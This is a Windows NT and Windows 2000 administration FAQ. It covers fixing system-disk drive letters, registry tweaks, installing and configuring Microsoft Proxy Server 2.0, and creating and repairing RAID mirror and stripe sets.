A. As of Windows NT service pack 4 for Windows NT 4.0 and all versions of Windows 2000 memory.dmp is now created with an ACL of:

Administrators - Full Control
System - Full Control

Other users may not access the file. Pre-service pack 4 the file was created with the same permissions as the parent directory but the memory dump may have sensitive information so its access has now been restricted. If you wish to access the file logon as an Administrator.


Q. I cannot delete a file named con or nul.

A. The syntax \\.\ does not work with a file named con or nul .

In fact, no Win32 tool may delete these files.

A solution is to use non-Win32 tools.

For instance, the Resource Kit contains POSIX utilities such as rm.exe, which allows to delete these files:

c:\NTReskit\posix\rm con

Note: the files may have been created with a tool such as notepad or more, using the streams notation. For instance, type "notepad con:foo" on an NTFS partition, or "more < any_file > nul:bar"

There is an easier way, without using reskit and non-native subsystems which is to rename the file then just delete:

C:\> ren \\.\c:\nul. file
C:\> del file

Thanks to Patrick Raffin for this


Q. How do I change the system disk on a Windows 2000 system?

A. The following was mailed to me by Peter Smith and I felt it may be useful to many people.

"I wanted to upgrade the hard disk on one of my machines running Windows 2000. As before with NT4, I added the new disk as a second drive, booted from a minimum NT installation I keep on the disk for emergency purposes and, after partioning and formatting the new drive, used SCOPY to copy the contents of the old disk to the new drive, preserving security information.

Next, create an up-to-date RDISK from the Backup utility, shut down and remove the old drive, leaving the new, bigger one as the master. Boot from the NT CD and use the recover option to rewrite the boot sector. Then, the new disk is bootable as the BIOS correctly sees it as the C: drive, boot.ini sees it as the first partition on the first disk and the whole system comes up. But, and here's the rub, when you log on, shortly after the dialog box that says "Loading your personal settings", you get another that says
"Saving your settings" and you're logged off! After such dramatic success in getting the new disk bootable very quickly and easily, I spent ages redoing things and puzzling why the instant logoff. The February Technet was no help but, by connecting remotely and examining the registry, I found the following:

The trouble seems to be that the drive letter appears to NT as the one you used when both drives were in the machine (K: in my case) - not as the C: drive detected by the BIOS. However, the path to userinit.exe
is hard-coded as C:\winnt\system32\userinit.exe having copied everything including the registry from the true C: drive.

The way I got around it was to use regedt32 remotely to go to HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices and copy the hex GUID allocated to the \DosDevices\K: drive and paste into the value for the \DosDevices\C: drive - then delete the K: value and reboot. Hey, presto everything works!

I've had more information with the following:

"I normally rename the drive letter portion of the values stored under HKEY_LOCAL_MACHINE\....\Mounted devices\ rather than cutting and pasting the volume UID information.

Further, I generally find that if I am dealing with the simplest case scenario, also by far the most common. A system that will end up with one hard disk with one partition booting as C:

Just delete all values under mounted devices and W2K will recreate them at the next boot assigning the boot/system drive as C:.

Editing the registry on the effected machine can even be done remotely when after moving the system you can get it to boot but because of the drive letter problems can not log on."

Editors note: I'm note sure of the possible problems of this, it seems safe but I have not tested. One other person who has tried said it worked but in his case the system told him he had no Page File, or it couldn't locate the page file, and the only way he could get 2000 to run again was to do a repair.


Q. I get an IRPStackSize event log every time I start Windows 2000.

A. I've seen this on all my Windows 2000 installations and its caused if the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters\IRPStackSize is less than 11.

To correct the problem perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters
  3. Double click on IRPStackSize
  4. Set the type to decimal and enter 11. Click OK
  5. Close the registry editor

You can also run the reg file at http://www.ntfaq.com/ntfaq/misc/fixirpstacksize.reg to fix it for you.

It is my understanding that Norton Antivirus is guilty of changing this to an invalid value.


Q. Global.exe does not work with DNS domain names.

A. Global.exe is used to display members of global groups on remotes servers or domains however it does not support the Windows 2000 DNS domain names and so you must use the alternate NetBIOS domain name.


Q. I'm unable to upgrade my Windows 2000 evaluation version to the full edition using a Windows 2000 upgrade CD.

A. The Windows 2000 upgrade CD cannot be used to "upgrade" an existing Windows 2000 installation (a similar problem with NT 4.0 existed) and so you cannot use the Windows 2000 upgrade CD to upgrade Windows 2000 evaluation edition to the full version.

Microsoft have responded to customer feedback and released a wizard at http://www.microsoft.com/windows2000/downloads/deployment/evalupg/default.asp which can be used to upgrade the evaluation version to full using a Windows 2000 upgraded CD providing you also have a valid qualifying CD such as Windows 98 or NT 4.0.

If you have the full Windows 2000 CD then you don't need the evaluation upgrade wizard.


Q. I can't load the basicdc.inf using the Security Configuration and Template editor or get errors in event log if I implement it?

A. If you try and load the basicdc.inf file using the Security Configuration and Template MMC snap-in you get an error if you try and load the basicdc.inf file.

You also get errors in event viewer if you try and import it into a default domain controllers group policy object.

This is basically caused by an error in the .inf file which is trying to reference environment variables:

  • SYSVOL
  • DSDIT
  • DSLOG

The problem is they only exist during the DCPROMO process and so to resolve you need to manually add them to the machines environment space.

You should first make a note of what the values should be. To find sysvol perform the following:

C:\>net share sysvol
Share name SYSVOL
Path C:\WINNT\SYSVOL\sysvol
Remark Logon server share
Maximum users No limit
Users
The command completed successfully.

Make a note of the path name.

To find the DSDIT and DSLOG values check the registry at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters

DSDIT is equal to 'DSA Working Directory' and DSLOG is equal to 'Database log files path'.

The next step is to create the environment variables:

  1. Right click on 'My Computer' and select properties
  2. Select the Advanced tab and click 'Environment Variables'
  3. Under the 'System variables' area click New
  4. Enter a name of 'SYSVOL' and the value equal to your net share sysvol value, e.g. C:\WINNT\SYSVOL\sysvol
  5. Click OK
  6. Repeat steps 3-5 for DSDIT and DSLOG also
  7. Click OK to all dialogs
  8. Goto to the command prompt and enter:
    C:\> secedit /refreshpolicy machine_policy /enforce

You should now be able to load the template with no problems and also this will solve any event log errors.


Q. I'm unable to view/delete pagefile.sys using the recovery console.

A. A bug exists in Windows 2000 recovery console that does not display or let you delete pagefile.sys. The workaround is to copy another file to be pagefile.sys which will then expose the true file allowing it to be deleted:

  1. Boot into Recovery Console.
  2. Because you boot into the %SystemRoot% folder (most commonly the C:\Winnt folder), type the following command
    cd \
  3. Type the following command to overwrite the existing Pagefile.sys file with Boot.ini:
    copy c:\boot.ini pagefile.sys
  4. Type the following command:
    del pagefile.sys
  5. After you copy Boot.ini over to Pagefile.sys, Pagefile.sys appears in the directory listing.


Q. I get error messages when I try to eject/format/label a removable disk.

A. There is a known issue in Windows 2000 that non-administrators have problems with removable disks.

A workaround is as follows:

  1. Log on to the computer using a local administrator account or an account that has administrator privileges.
  2. Click Start, click Run, type mmc.exe, and then click OK.
  3. In Microsoft Management Console (MMC), click Add/Remove Snap-in on the Console menu.
  4. Click Add.
  5. Click Group Policy, and then click Add.
  6. Verify that Local Computer is in the Group Policy Object box, and then click Finish.
  7. Click Close, and then click OK.
  8. Under Local Computer Policy, browse to the following branch:
    Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
  9. Right-click the 'Allowed to eject removable NTFS media' policy, and then click Security.
  10. In the Local policy setting box, click the group you want, and then click OK. Your choices are:
    Administrators - Only administrators can eject removable media.
    Administrators and Power Users - Administrators and Power users can eject removable media.
    Administrators and Interactive Users - Administrators and Interactive (Standard users) can eject removable media.
  11. Quit MMC, type the following command at a command prompt, and then press ENTER:
    secedit /refreshpolicy machine_policy


Q. I'm getting a large number of event 2022 event logs.

A. Windows NT Server 4.0 machines may receive the following errors in the system event log:

Event 2022: Server was unable to find a free connection 1 times in the last 60 seconds.

This happens because a request was made to grow a file and the disk is fragmented or is nearly full. This causes the free space search to take an extremely long time. This request holds system level locks that are needed for other requests to complete. The Server service resource task is pended as well, which causes Event ID 2022.

You should therefore defragment your disk to resolve this issue. If the problem persists perform the following:

  1. Start Registry Editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters

  3. From the edit menu select New - DWORD value
  4. Enter a name of MaxFreeConnections and press Enter
  5. Double click the new entry and set to any value up to 100
  6. From the edit menu select New - DWORD value
  7. Enter a name of MinFreeConnections and press Enter
  8. Double click the new entry and set to any value up to 32
  9. Close the registry editor
  10. Restart the computer


Q. I'm missing the 'Computers Near Me' My Network Places group.

A. If the 'Computers Near Me' group is deleted it is not automatically recreated and so if you wish it to be created again perform one of the following options:

1. Change the computer to a different workgroup. This should cause the "Computers Near Me" group to be re-created. Then, change the workgroup back to the original workgroup.

2. The second method is to directly edit the registry to force the group to be recreated:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
  3. From the Edit menu select New - String value if 'Last Domain' does not exist. Enter a name of 'Last Domain'
  4. Double click the value and set to:
    0,0,Unknown
  5. Click OK
  6. Close the registry editor

You don't need to reboot the computer and the next time you go into My Network Places the Computers Near Me will be recreated.

Be aware it can also be removed using a domain policy so if the above does not work check with the Administrators.


Q. What is Proxy Server 2.0?

A. A Proxy Server is a system that sits between the client applications (such as Internet Explorer) and the connection to the Internet (Server) and intercepts the requests to the server to see if it can action them itself, this improves performance by filtering requests that go out to the Internet.

The Proxy Server can cache files it downloads from the Internet for a client, using this method if someone else asks for the same page the Proxy Server can send back the version its holding in its cache rather than sending a request out on the Internet. Proxy servers can also act as a fire wall by filtering IP traffic by port or IP address.

Proxy Server 2.0 performs the above but also has extra functions such as Winsock proxy for use by Winsock based clients such as Windows 95 etc. to enable IP type access even if the local network protocol used is, for example, IPX. It does this by replacing the winsock on the client machines. It can also be used to hide your networks TCP/IP configuration by allowing you to have any TCP/IP addresses on your Intranet as only the Proxy Servers IP address is used on the Internet.

Proxy Server 2.0 also has the Sock's proxy service for non-winsock type clients such as UNIX based machines.


Q. How do I install Proxy Server 2.0?

A. Before you install Proxy Server 2.0 make sure your system meets the following pre-requisites

  • The machine in Windows NT Server 4.0
  • The server has at least 2 NIC's (Network Interface Card's). You may have one network card connected to your network and the second adapter could be a modem or ISDN port. The server can have only one nic, but it will then function as an 'optional' proxy, in that clients don't have to go through it to gain access, but will use it as a caching proxy server.
  • You are logged in as an Administrator account
  • TCP/IP is installed and configured
  • Service Pack 3 is installed
  • Internet Information Server 3.0 is installed and configured
  • You have an NTFS partition if you are going to use Proxy caching

Once your system meets the criteria above you can start the installation:

  1. Insert the Proxy Server 2.0 installation CD
  2. Start the Proxy Server 2.0 setup program (setup.exe from the MSPROXY directory)
  3. Click Continue to the first dialog box
  4. Write down the displayed Product ID and click OK
  5. To change the installation directory click the "Change Folder" button and move to the directory you wish to install to, e.g. e:\msp, click OK. To start the installation click the large button
  6. Select the installation options you require, all are selected by default. Click Continue
  7. The next dialog box is the caching dialog box. Check the "Enable Caching" box and select a partition and the size (only NTFS partitions are selectable). Click Set and click OK
  8. The next step is to configure the LAT (Local Address Table). This is used to specify which addresses are on your local network as well as which ones should not be used on the Internet. Enter an address range and click Add, e.g. 200.200.200.1 to 200.200.200.255. When you have entered all the addresses click "Construct Table". Accept the defaults and click OK. Click OK on the LAT dialog.
  9. Now we have to configure the Client installation part of Proxy server. By default the current machine will be selected as the Computer name. You can also configure an automatic configuration script by checking the "Configure Web browsers to use Automatic Configuration". Click OK
  10. Finally you need to choose if you will use Access Control on the Winsock Proxy service and the Web Proxy service. By default both are enabled. Click OK
  11. The Proxy server files will then be copied to the machine.
  12. Click OK the the Packet Filtering dialog.
  13. Click OK to the Proxy server installation complete box.


Q. How do I install the client for the WinSock Service?

A. There are two methods, the easiest is to use the Web based installation method. Before you start this, make sure the IIS server has default.htm as one of the default document types

  1. Start up the browser
  2. Connect to server as http://<server>/MSProxy
  3. Select the link on the line "Install the WinSock Proxy 2.0 client for Microsoft Proxy Server version 2.0."
  4. Select "Run this program from its current location" and click OK to the dialog box displayed
  5. Click Continue to the WinSock Proxy Client installation software
  6. Select the installation directory and click the large installation button
  7. Click "Restart Windows Now"

Alternatively you can run the setup manually by connecting to the Mspclnt share on the server and running the Setup.exe. The installation is as above.

Once the machine has rebooted, confirm the installation is OK by performing the following:

  1. Start the WSP Client Control Panel applet (Start - Settings - Control Panel - WSP Client)
  2. Check the proxy server is in the Server Name box
  3. Click the Update Now button. A message will be displayed. Click OK.
  4. Click the Don't Restart Windows Now button.
  5. Close the Control Panel


Q. How do I remove the client WinSock Service?

A. Just run the Uninstall program from the Microsoft Proxy Client group.


Q. How can I bypass the client Winsock?

A. There may be a scenario where the machine is taken to different locations (such as a portable taken home) and in this situation you do not want to use the WinSock Proxy client. Rather then uninstalling every time you take the machine home, you can disable it:

  1. Start the WSP Client Control Panel applet (Start - Settings - Control Panel - WSP Client)
  2. Uncheck the "Enable WinSock Proxy Client"
    {short description of image}
  3. Click OK
  4. Click "Restart Computer Now"

Once the computer has restarted it will no longer use the Proxy WinSock. To re-enable perform the above but check the "Enable WinSock Proxy Client".

From experience it seems that the change actually works without the reboot so test this in your scenario and if OK skip the reboot stage.


Q. How do I configure an Internet Browser to use the Web Proxy service?

A. This procedure is basically the same for all browsers:

Internet Explorer 4.0

  1. From the View menu select Internet Options
  2. Click the connection tab
  3. Check the "Access the Internet using a proxy server" box
  4. Click the Advanced button and enter in the address of the proxy server in the HTTP address box, and the port (usually 80). If all protocols use the same proxy server check the "Use the same proxy server for all protocols". Click OK
  5. You will probably want to check the "Bypass proxy server for local (Intranet) addresses"
  6. Click Apply then click OK

Netscape Navigator 4.0

  1. Select Preferences from the Edit menu
  2. Expand the Advanced category and select Proxies
  3. Check the "Manual proxy configuration" and click View
  4. Enter the name of the proxy server and its port for all protocols you wish to use a proxy server for. Click OK
  5. Click OK to end the configuration

Mosaic 3.0

  1. Select Preferences from the Options menu item from the View menu
  2. Click the Proxy tab
  3. Enter the proxy server in the format http://<server>:<port>, e.g. http://proxy:80
  4. Click Apply then click OK

You need to make sure all clients are allowed to use the proxy server:

  1. Start the ISM
  2. Double click on the computer name of the Proxy Server next to the Web Proxy service
  3. Select the Permissions tab
  4. Select WWW from the protocols list
  5. Click Edit and add all users/groups who are allowed to access the proxy server and thus the rest of the internet. Click OK
  6. Click Apply then OK


Q. How do I manage the Proxy Server?

A. Proxy Server uses the Microsoft Internet Service Manager (ISM) as its management interface, so to manage your proxy server just start the ISM (Start - Programs - Microsoft Proxy Service - Internet Service Manager). In the example below we will examine which clients are currently using the Web Proxy service

  1. Start the ISM
  2. Double click on the computer name of the Proxy Server next to the Web Proxy service
  3. Select the Service tab
  4. Click the "Current Sessions" button
  5. You will see a list of connections. Click the Refresh button to get an update. As you can see you can also select the WinSock and Sock's Proxy service by clicking its select area.
  6. Click Close when finished.

Proxy Server Internet Service Manager

You use the Internet Service Manager to stop/start/pause/continue the Proxy services. If you select a service, for example the Web Proxy Service, if it was running the Stop and Pause buttons would become active and you could then stop or pause the service and its State would change.

Double clicking on the services brings up their options. You can also hide certain types of services from the display, as shown in the diagram I have hidden FTP and Gopher services by unclicking their icons.


Q. How can I configure the Proxy server to automatically dial out to the ISP when needed?

A. This is configured via the Internet Service Manager, however before Proxy Server is configured we need to ensure the correct RAS services are running.

  1. Start the Services control panel applet (Start - Settings - Control Panel - Services)
  2. Select "Remote Access Autodial Manager" and click Startup
  3. Set to Disabled and click OK
  4. Select "Remote Access Connection Manager" and click Startup
  5. Set to Automatic and click OK
  6. Close the Services Control Panel applet

You need to make sure before you proceed that you have a phonebook entry for your ISP, if not you should add one before you proceed.

The WINS client has to be disabled for the Remote Access WAN Wrappers

  1. Start the Network Control Panel Applet (Start - Settings - Control Panel - Network, or right click on Network Neighborhood and select Properties)
  2. Click the the Bindings tab
  3. Select Show Bindings for "all adapters"
  4. You may have several "Remote Access WAN Wrapper". For each of these perform the following
    Expand it. If there is a "WINS Client(TCP/IP)" select it and click Disable
  5. Click OK
  6. Your machines bindings will be updated and you should click Yes to restart your computer

You can now configure the Proxy Services to autodial

  1. Start the Internet Service Manager (Start - Programs - Microsoft Proxy Service - Internet Service Manager)
  2. Double click on a computer name next to either the Socks, WinSock or Web Proxy service
  3. Click the "Auto Dial" button
  4. Select the Configuration tab and check the "Enable dialing for Winsock and SOCKS proxy" if you want the server to automatically dial for either of these. Check the "Enable dialing for Web proxy primary route" if you want dialing for the Web Proxy service.
  5. You can also select the hours that the autodial is valid for
    Note: The connection will not hangup outside these hours, it will just no initiate a new connection
  6. Click the Credentials tab
  7. Select the Phonebook entry and enter any username/password details required. I would advise creating a connection script if you have to enter logon information in a terminal window during the connection, see Q. How can I create a RAS Connection Script?
  8. Click Apply then click OK

You should now stop and start all services that will use autodial.

Any client request that cannot be locally handled will now cause the Proxy server to dial out to the internet.


Q. How can I stop and start the Proxy services?

A. There are several options available to you. The easiest is to use the Internet Service Manager, just select the service and click the stop/start button.

You can also stop the services from the command line using

net stop/start w3svc | for the Web Proxy service
net stop/start wspsrv | for the WinSock Proxy service
net stop/start spsvc | for the Socks Proxy service

As for the Socks Proxy, it's a part of Web proxy service. It could be disabled by using registry editor:

REGEDIT4

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3Proxy\Parameters\SOCKS]
"SocksServiceEnabled"=dword:00000000

Above is a complete importable .reg file, which is self-explanatory. After merging it to registry, Socks Proxy will not start on the next start of Web Proxy.


Q. How can I use the Web based Proxy Server Administration software?

A. This can be downloaded from http://www.microsoft.com/proxy/downloads/proxyadmin.asp and on the Intel platform will download watx86r.exe to your machine. Before you download you really need IE4.0 to get the most from it.

To install follow the procedures below

  1. Log onto the Proxy Server as an Administrator
  2. Active the installation program (double click on it from Explorer)
  3. Click Yes to the installation dialog box
  4. Click Continue
  5. Specify the installation directory, by default it is c:\msp\msp-htm. Click Yes to create the folder and click OK
  6. Click the large installation button
  7. The installation will then stop certain IIS services and perform the installation
  8. If you have no SSL key you will be asked if you want to continue click Continue
  9. Click OK to the next box asking about Internet Publishing
  10. The IIS services will then be started again
  11. Click OK to the Installation Completed Box

To administer the Proxy server from a browser you would connect to http://<proxy server name>/PrxAdmin. You then click the large graphic and enter in an Admin username, password and domain.

You can then perform all the normal functions via the interface.

Proxy Web Admin


Q. Which port does WinSock use?

A. Proxy Server 2.0 uses UDP port 1745, Proxy Server 1.0 used 9321.


Q. How can I configure the RAS Autodisconnect?

A. You may have RAS Autodisconnect configured but it does not disconnect after the assigned time, the following may be to blame

  1. A WinSock client is currently connected to the Internet
  2. A Web Proxy client (a web browser) is open and connected to the internet that has a refresh tag
  3. If active caching if configured on the proxy server it may be performing page fetches
  4. Other TCP/IP traffic from the internet, e.g. router messages from the ISP (ICMP and IGMP messages)

To actually change the idle timeout perform the following:

  1. Open Dial Up Networking dialog box (My Computer - Dial-Up Networking)
  2. Select User Preferences from the More button menu
  3. Disable the autodial by location by removing the check box next to "New Location"
  4. Set the idle seconds in the "Idle seconds before hanging up:" box. Click OK
  5. Choose Logon Preferences from the More button menu
  6. Set the "Idle seconds before hanging up" to be the same as that defined in User Preferences. Click OK
  7. Disable the Remote Access AutoDial Manager as explained in Q. How can I configure the Proxy server to automatically dial out to the ISP when needed?
  8. Also you can open the rasphone.pbk (in %systemroot%/system32/ras) and edit it.
  9. Find IdelDisconnectSeconds in the section of the connection you use and set to the number of seconds to disconnect (same as in Logon Preferences).
  10. If OverridePref is present set to 4, if this does not exist do not create it.
  11. Save the file


Q. How do I ban the Dilbert Zone using Proxy Server? :-)

A. Proxy Server allows you to ban certain sites and IP addresses from being visible. To ban a site (such as the Dilbert Zone which gets you listed in the "Pointy Haired Boss Index") perform the following:

  1. Start the Internet Service Manager (Start - Programs - Proxy Server - Microsoft Management Console)
  2. Expand Internet Information Server
  3. Select the server
  4. Double click on Web Proxy
  5. Select the Service tab
  6. Click the Security button
  7. Select the "Domain Filters" tab
  8. Select "Enable filtering"
  9. Select Granted by default for all sites and click Add to creation excetions, either IP address, group of IP addresses or domain (e.g. www.dilbert.com). Click OK
  10. Click OK to all the dialogs
  11. Close the Internet Service Manager

Clients trying to access a banned site will recive the error shown:

Ban Dilbert (not really)

I'd just like to say I love the dilbert zone, I read it everyday. DILBERT


Q. How do I install Proxy Server 2.0 on Windows 2000?

A. Microsoft have released a Proxy Server installation add-on which has to be used to install Proxy Server 2.0 on Windows 2000/ NT 5.0 beta. The file is called msp2x86a.exe and can be downloaded from http://www.microsoft.com/proxy/default.asp.

To install perform the following:

  1. Close any Microsoft Management Console's prior to running the Update Wizard.
  2. Run the wizard, msp2x86a.exe
  3. Click Yes to the license agreement
  4. Insert the Back Office 4.0 CD 3 and click Continue
  5. The installation will then continue as per normal.

If you are upgrading a Windows NT Server 4.0 system, on which Proxy Server 2.0 is already installed, to a Windows NT Server 5.0 system, then after installing Windows NT 5.0 Beta 2, do the following:

  1. Close any Microsoft Management Console's prior to running the Update Wizard.
  2. Run the wizard, msp2x86a.exe
  3. Click Yes to the license agreement
  4. Insert the Back Office 4.0 CD 3 and click Continue
  5. The installation will then continue as per normal.
  6. When running the Upgrade Wizard you will be given only the option to do a fresh install although you already have a Proxy server installed , you should select this option and proceed with setup. Your previous configuration will be properly retained.

To uninstall Microsoft Proxy Server 2.0, use the Uninstall command on the Proxy menu. Running uninstall via Add/Remove Programs in Control Panel will fail because it searches for the installation files in the (now deleted) temporary location created by the wizard. Always backup your server before performing any actions described above.


Q. How can I create custom error messages for Proxy Server?

A. When a client receives a error from a proxy server (such as a page is not allowed) these error pages can be customised to display anything you require.

Simply place a page named as the error number (example ERROR 10060=10060.htm) in the directory C:\msp\ErrorHtmls and then Stop and Start Msproxy for it to load the new error message.


Q. Audio and Video are unavailable in NetMeeting via Proxy server, why?

A. This behavior can occur if you connect to the Internet through a proxy server using Microsoft Proxy Server version 2.0, and you have Microsoft Winsock version 2.0 installed on your computer.

To resolve this perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Audio\NacObject
  3. From the Edit menu select New - DWORD value
  4. Enter a name of "DisableWinsock2" (don't type the quotes). Press Enter
  5. Double click the new value and set to 1. Click OK
  6. Close the registry editor

Also check if the ports for sending audio and video are enabled (usually ports 1503, 1720 and 1731).

Also port 389 is used for ILS (Internet Locator Server) by NetMeeting 2.0 and port 522 for ULS (User Location Server) used by NetMeeting 1.0.

To connect to a directory server, the directory server must be functioning properly. NetMeeting directory services require either port 389 or port 522. To verify that the directory server is functioning properly, use Telnet to connect over these ports.

In summary to enable NetMeeting access through a firewall:

  • Pass through primary TCP connections on ports 522, 389, 1503, 1720 and 1731.
  • Pass through secondary UDP connections on dynamically assigned ports (1024-65535).


Q. How can I use Chat behind a Proxy server?

A. If you have packet filtering enabled Internet Relay Chat (IRC) may pause for long periods of time or fail to connect. This is caused by the Identd (Identification Protocol) being filtered out. To resolve perform the following:

  1. Open the Winsock Proxy Service Properties, and select the Service tab.
  2. Under the Shared Services section, select Security. Choose Add and select the Identd filter from the list of predefined filters.

This will allow Identd traffic to pass through instead of being discarded by the proxy packet filter driver.

Microsoft Chat uses the standard chat port (#6667).


Q. Does NT Workstation support RAID?

A. Workstation does not support fault tolerant RAID, e.g. RAID 1 or RAID 5, however it does support RAID 0 (stripe set without parity). Obviously hardware RAID will work as it is transparent to the Operating System.

There is much talk about changing the ProductType registry key to enable fault tolerance on NT Workstation and while it can be done this is against Microsoft licensing and would also be unsupported by Microsoft. Do NOT mail me asking for the method as I will not distribute it and will just delete the mail message without replying.


Q. What RAID levels does NT Server Support?

A. NT Server supports RAID 1 (disk mirroring) and RAID 5 (strip sets with parity check). NT also support RAID 0, which is Striping without Parity, however this offers no data redundancy.


Q. How do I create a Stripe Set with Parity?

A. Follow instructions below

  1. From Start Menu - Programs - Administrative Tools and click Disk Administrator
  2. Select at least 3 areas of free space on different physical disks
  3. From the Fault Tolerance menu, select Create Stripe Set With Parity
  4. Fill in the size wanted, and click OK

Note - A stripe set will only use the lowest common disk space on each physical drive, i.e. with 3 disks of 100MB, 50MB and 40MB free, each part of the stripe set would only be 40MB with a maximum of 120MB partition in total.

Stripe sets cannot be used for the boot or system partition.


Q. How do I recreate a broken Stripe Set?

A. When a member of a Stripe Set with Parity fails, you do not get a warning, and everything continues to work. Indications include when you start Disk Administrator and on the Event Log. Follow instructions below

  1. Replace the faulty disk and start NT
  2. From Start Menu - Programs - Administrative Tools and click Disk Administrator
  3. Select the Stripe Set to be repaired and an area of unpartioned space on the new physical disk
  4. From the Fault Tolerance menu select Regenerate


Q. How do I remove a Stripe Set?

A. Follow instructions below

  1. From Start Menu - Programs - Administrative Tools and click Disk Administrator
  2. Select the stripe set you wish to delete.
  3. From the Partition drop-down menu select Delete
  4. Confirm to Delete the Partition

Note - You will lose ALL data on the stripe set


Q. Can NT be on a Stripe Set?

A. If NT is providing software RAID 0 or RAID 5 (stripe set or stripe set with parity) then neither the NT boot or system partition may be on a RAID 0 or RAID 5 volume. This is because using this type of volume requires the fault tolerant driver and that is loaded during NT's bootup. If you require NT to be on a stripped set then you will need to purchase hardware RAID.


Q. How do I create a Mirror Set (RAID 1)?

A. To create a mirror you should first create what the prime will be, and then you can create a mirror of it:

  1. Start Disk Administrator (Start - Programs - Administrative Tools - Disk Administrator)
  2. Click on the existing partitions that is the prime, and hold down the Ctrl key
  3. Click on an unpartitioned area of disk space
  4. From the Fault Tolerance menu select "Establish Mirror"
  5. From the Partition menu select "Commit changes now", and the duplication will begin.
  6. You will need to reboot.


Q. How do I break a Mirror Set?

A. If part a Fault Tolerant is lost (by hardware failure etc.) then a message will be displayed "A disk that is part of a fault-tolerant volume can no longer be accessed". The drive will still be usable, but the Mirroring will have been suspended. To break the mirror set:

  1. Start Disk Administrator (Start - Programs - Administrative Tools - Disk Administrator)
  2. A message will be displayed that a disk is missing
  3. Click on the Mirror, and select "Break Mirror" from the Fault Tolerance menu.
  4. Confirm the action


Q. How do I repair a broken Mirror Set?

A. Make sure you have an area of unpartitioned space that is at least the size of the Primary partition:

  1. Start Disk Administrator (Start - Programs - Administrative Tools - Disk Administrator)
  2. Click on the working part of the mirror, hold down the Ctrl key and select the area of unpartitioned space
  3. Select Establish Mirror from the Fault Tolerance menu.


Q. Can I install NT on a stripe set?

A. No. See Q. Can NT be on a Stripe Set? for more information.


Q. I am unable to boot using on the Mirror disk.

A. When you create a mirror disk the partition is automatically created for you but the Master Boot Record of the disk is not updated with the NT boot loader.

To install the NT boot loader you should first partition and format the drive with disk administrator which will write the MBR to the shadow (to be) disk. You should then delete this partition and continue creating the mirror as normal.

If you already have a mirror disk which you need to boot off and do not wish to use a modified NT boot disk (see Q. How do I create an NT Boot Disk? for details) you can write the MBR record to the shadow disk using the repair process.

  1. Boot the machine using the 3 NT installation disks
  2. After 2 disk it will give options, press R for repair
  3. Deselect all options except "Inspect Boot Sector" and continue
  4. Press Enter to detect hardware and insert disk 3
  5. The procedure will ask if you have an Emergency Repair Disk (ERD), say Yes and insert the ERD.
  6. The machine will then reboot and the MBR record will have been written


Q. I have reinstalled NT now I have lost all RAID/volume sets.

A. Windows NT stores information about volume/mirror/stripe sets in the HKEY_LOCAL_MACHINE\System\Disk registry key so if you reinstall Windows NT it will lose this information and not recognize the volumes as fault tolerant sets.

The best way to avoid this problem is before you reinstall perform the following:

  1. Start Disk Administrator
  2. From the Partition menu select Configuration - Save
  3. You will have to insert a blank formatted disk and click OK
  4. Click OK to the success message

A single file, SYSTEM, will be created on the disk. Keep the disk safe and you should label it with the system name and the date taken.

When you reinstall NT you can then start Disk Administrator and select Configuration - Restore from the Partition menu, insert the disk and your original volume/RAID sets will be restored along with any drive letter assignments.

If you are simply installing another installation of NT on the machine and keeping the original you can just perform a Configuration - Search from the Partition menu and it will attempt to find any other copies of Windows NT and then give you the option to duplicate its configuration.

If none of the above is possible and you have already lost your configuration the only option is to use the FTEDIT.EXE resource kit utility which enables the editing of fault tolerant sets. Full help is given with the utility but use it carefully or you may actually lose the data.


Q. How do I create a RAID 5 set in Windows 2000?

A. Windows 2000 introduces dynamic disks and all members of a RAID volume set have to be on a dynamic disk. To convert a disk from basic to dynamic see 'Q. How do I convert a basic disk to dynamic?'.

To create a RAID 5 set perform the following:

  1. Start the Computer Management MMC (Start - Programs - Administrative Tools - Computer Management)
  2. Expand the Storage branch and select 'Disk Management'
  3. Right click on an area of Unallocated space and select 'Create Volume..' from the displayed context menu
    Create volume
  4. Click Next to the volume creation wizard
  5. Select a volume type of "RAID-5 volume" and click Next
    RAID 5 create
  6. On the left hand side select the disks to participate (at least 3 in total) and click Add to use them.
  7. You should next select the size to use from each disk. This has to be equal for each disk and so the largest space that can be used is the smallest free space on any of the disks. Once the size is selected click Next. You will notice that if you select 1000MB from each disk the total size would only be 2000MB since a third of the space is used for parity information.
  8. Next select a drive letter to use and click Next.
  9. Select the file system to use and the label. You may also select whether to to enable file and folder compression. Click Next.
  10. A summary screen will be displayed, click Finish.

The disk areas will then be shown as RAID 5 and in regenerating mode.

You may get a message from the Logical Disk Manager "The operation did not complete because the partition/volume is not enabled. Please reboot the computer to enable the partition/volume".Click OK to this message but do not reboot until the regeneration has completed and the volume is shown as healthy otherwise you will have to reformat the partition upon reboot completion.

You may find you have to reformat the volume even after this and it seems to be a bug at present.


Q. How do I delete a RAID 5 set in Windows 2000?

A. Deleting a RAID 5 set will result in all contined data being lost so make sure you backup first.

To delete a RAID 5 set perform the following:

  1. Start the Computer Management MMC (Start - Programs - Administrative Tools - Computer Management)
  2. Expand the Storage branch and select 'Disk Management'
  3. Right click on an element of the RAID 5 volume and select "Delete Volume..." from the context menu
  4. Click Yes to the confirmation

All space used by the RAID 5 volume will now be listed as unpartitioned.


Q. How do I regenerate a RAID 5 set in Windows 2000?

A. If one part of a RAID 5 set is replaced as a result of faulty hardware the volume will not lose any data thanks to the stored parity information however you must replace the broken disk to re-enable the fault tolerant ability of RAID 5.

Example of a failed RAID5

Once you have replaced the bad disk perform the following:

  1. Start the Computer Management MMC (Start - Programs - Administrative Tools - Computer Management)
  2. Expand the Storage branch and select 'Disk Management'
  3. You will notice the removed disk will still be shown as 'Missing'
  4. Right click on an element of the RAID 5 volume and select "Repair Volume..." from the context menu
